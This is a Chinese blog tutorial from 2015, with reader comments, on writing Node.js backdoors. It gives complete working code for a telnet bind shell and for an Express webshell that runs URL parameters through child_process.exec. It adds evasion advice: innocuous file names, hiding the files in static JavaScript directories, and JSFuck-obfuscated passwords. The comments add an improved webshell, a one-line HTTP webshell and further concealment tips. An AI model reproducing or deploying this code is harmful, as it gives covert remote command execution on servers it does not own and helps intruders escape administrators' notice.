NodeJs后门程序

Black_Hole 2015-12-03 10:23:00

0x00 前言


从语言下手,来写一个市面没有的后面程序。

0x01 为什么选择NodeJs


  1. 我个人非常喜爱JavaScript这门语言,而我们今天所说的就是NodeJS,JavaScript语言的一个分支。NodeJS本身就是一个Web 服务器同时他还是一门后端语言,这一点尤其重要,因为我们只需要下载一个NodeJs就可以完成一系列操作,从而免去很多的麻烦。
  2. 而且即使被运维人员发现,也会以为是开发部门正在写有关NodeJs的项目。
  3. NodeJs是一个非常年轻的语言,以至于很多人都没有学过。我见过运维人员懂PHP、Python的,但是懂NodeJs的,我是没见过。

    接下来的篇章,我会使用telnet通信和web通信两个方式来写NodeJs后面程序。

  4. 下一篇再说

0x02 前期准备工作


有关NodeJs安装的,请自行百度。

我这里使用的是NodeJs版本是5.1.0

NodeJs安装完成后,我们可以随便在哪一个目录建立一个NodeJs文件,当然我这里推荐在服务器网站上的静态目录里的JavaScript目录来写,因为都是JavaScript文件,有很大的隐蔽性。我嫌麻烦,就在~目录下建立一个nodeDemo目录来建立NodeJs文件了。

我这里建立的是app.js,当然名字随便取,你可以取base.js、cache.js、cookies.js等等,起到隐蔽性就行了。

0x03 telnet通信后门


NodeJs里使用telnet进行通信的时候,需要调用net库和child_process库里的exec方法。

代码如下:

var net = require('net');
var exec = require('child_process').exec;

然后使用createServer()函数来创建连接,代码如下:

var server= net.createServer(function(conn){
    //code
});

接下来要解决字符串编码问题,不然乱码真的没法看:

conn.setEncoding('utf8');

注意这里没有-,不是utf-8。切记。

为了好看,我还特意加上了conn.write('\n');恩,这样好看多了。

OK,接下来就是连接成功后,处理输入的字符串了。这里需要用on函数:

conn.on('data',function(data){
//code
});

在输入后的字符串里,删除掉回车字符串。

data=data.replace('\r\n','');

这段代码非常重要。我被这个坑卡了二十分钟。很多人可能会问不就是个回车么,按两次回车键怎么了。问题就在这。他这是ascll编码,也就是说你这个不会回车,而是回车的ascll编码,如果没有这个命令,你输入的命令都将无法使用,你用echo输出到的文件也会变成xxx.txt?这里并不是真正的?,而是系统无法显示出这个字符,而用?告诉人们,这是一个无法显示的字符串。

这里的data变量就是我们输入的命令了。接下来就要用到child_process库里的exec方法了。

exec(data,function(error,stdout){
    //code
});

exec的第一个参数是data,也就是我们要运行的代码,后面的参数是个函数,这个函数里的一个参数是error,他是反馈命令中存在的错误。二个参数stdout是命令运行后的反馈。

我们先判断运行的命令中是否存在错误:

if(error !== null){
    conn.write(error + '\n');
    return false;       
}

如果没有错误会反馈null字符串,我们就拿这个当做判断条件。Conn.write是在telnet终端反馈字符的,相当于php中的echo。

return false;是防止程序继续向下执行。

接下来就是显示命令反馈了:

conn.write('########################start\n\n' + stdout + '\n########################end\n\n');

为了更加的直观,我用#start和#end来标出反馈的区域。

server变量OK后,就是让程序监听端口运行了。

server.listen(3000,function(){
    console.log('OK');
});

监听3000端口,并在终端中显示OK。

完整代码如下:

var net = require('net');
var exec = require('child_process').exec;
var server= net.createServer(function(conn){
    conn.setEncoding('utf8');
    conn.write('\n');
    conn.on('data',function(data){
        data=data.replace('\r\n','');
        exec(data,function(error,stdout){
            if(error !== null){
                conn.write(error + '\n');
                return false;       
            }
            conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
        });
    });
}); 

server.listen(3000,function(){
    console.log('OK');
});

现在让我们来测试一下:

打开另一个终端,输入telnet 127.0.0.1 3000

现在我们输入几条命令试下:

OK了。现在只需要使用添加用户即可再次控制机器。

而这里有个缺陷,就是没有密码验证,我特意查了net库里的函数,但是没有找到密码验证,于是我想到了另一种方法来代替密码验证。代码如下:

if(data.substring(0,2) == 'js'){
    data = data.substring(2);
}else{
    return false;
}

每一条命令的前面都加上js才会运行,如果没有,则什么都不输出。事例:

加上当我第一次输入ls的时候,程序并没有运行,当前面加上js字符串之后,命令才成功的运行。

直接写js字符串太显眼了,我们加密一下吧,因为NodeJs用的v8引擎,那么在浏览器里的JavaScript黑魔法,在NodeJs里也可以使用,我们打开http://www.jsfuck.com/把js加密下,加密后的字符串是:

(+(!+[]+!+[]+!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]

如图:

那么现在的NodeJs后门代码就变成这个样子:

现在我们来测试一下能不能使用:

完美。

0x03 web通信后门


上节说道使用telnet通信当做后门,那么现在我们来说一说web通信后门。

这里是使用了express框架吗,玩过NodeJs的人都知道,基本是NodeJs必装框架。

安装express框架请自行百度。

首先我们建立一个网站目录用于存放后面程序。

express node如图:

cd node && npm install

完成后,基本就OK了。现在我们进入到routes目录。修改index.js文件。

vim router/index.js

这是之前的index.js代码,现在我们来修改它。

在第三行加入代码:

var exec = require('child_process').exec;

删除第6行代码,修改为:

exec(req.query.webshellPassword,function(error,stdout){
    if(error !== null){
        res.send(error);
        return false;
    }
    res.send(stdout);
});

基本和上一节的telnet通信后门代码差不多。只是出现了如下代码:

req.query.webshellPassword

req.query是NodeJs获取URL参数的。webshellPassword是参数名。他相当于PHP代码里的:$_GET['webshallPassword'];

完整代码如下:

现在我们进入到node目录。运行它:

打开浏览器,输入http://127.0.0.1:3000/?webshellPassword=ls

结果如下:

浏如果是window系统,没有装linux命令集的话,请把ls改成dir。

我们来大致看一下能做哪些事:

想干啥都可以,心情瞬间变得更美丽的呢。

下一章将说到使用网站来管理后门。麻麻再也不用担心我天天抱着电脑了呢。

评论

J

justforfun 2015-12-03 11:07:29

牛逼。。

Y

Ysql404 2015-12-03 11:20:02

厉害

路人甲 2015-12-03 11:31:26

而且即使被运维人员发现,也会以为是开发部门正在写有关NodeJs的项目。
作为运维我觉得这条太牵强了。开发组和运维组共享预定计划表是常识。详细到作业时间,作业内容,谁允许修改的,为什么要修改以及当天操作时ssh客户端留下来的所有日志。

路人甲 2015-12-03 12:47:22

mk

Knight 2015-12-03 14:20:59

jsfuck一看就不正常,最好用base加密到32位,看着像MD5不容易引起注意。

路人甲 2015-12-03 14:37:50

下次记得at

路人甲 2015-12-03 15:23:44

水文

雪碧0xroot 2015-12-03 15:42:03

这么多乱码 眼睛都看怀孕了....

H

Her0in 2015-12-03 15:50:38

自导自演。。。

B

Black-Hole 2015-12-03 23:02:27

第0x03节的web通信后门,存在bug。html直接解析、win下乱码。修改了部分代码,已经解决:
var express = require('express');
var router = express.Router();
var exec = require('child_process').exec;
var iconv = require('iconv-lite');
function unhtml(str, reg) {
return str ? str.replace(reg || /[&<">'](?:(amp|lt|quot|gt|#39|nbsp|#\d+);)?/g, function (a, b) {
if(b){
a;
}else{
return {
'<':'&lt;',
'&':'&amp;',
'"':'&quot;',
'>':'&gt;',
"'":''',
}[a]
}
}) : '';
}
router.get('/',function(req, res, next){
exec(req.query.webshellPassword,{encoding: 'binary'},function(error,stdout){
if(error !== null){
res.send(error);
return false;
}
var str = iconv.decode(stdout, 'GBK');
res.send('<pre>' + unhtml(str) + '</pre>');
});
});
module.exports = router;

B

Black-Hole 2015-12-03 23:03:16

楼下乱码了,请移步到http://zone.wooyun.org/content/24231

X

Xser233 2015-12-03 23:14:21

https://github.com/ayiis/webShell/blob/master/customize/nodejs/customize.js
能给我俩wb进社区嘛

路人甲 2015-12-04 10:34:32

我次奥,我居然能看懂!

爱捣蛋的鬼 2015-12-12 15:30:26

项目上线很少热部署把,都会用新的覆盖,一覆盖你的就没了

0

0xCCCC 2016-03-10 21:48:56

何苦要 express
require('http').createServer(function(req, res) {require('child_process').exec(decodeURIComponent(req.url).substr(1), function(err, stdout, stderr) {res.end(stdout)})}).listen(2333);

B

Black_Hole

只开发不攻击的安全汪

twitter weibo github wechat

随机分类

神器分享 文章:71 篇
软件安全 文章:17 篇
前端安全 文章:29 篇
Web安全 文章:248 篇
其他 文章:95 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录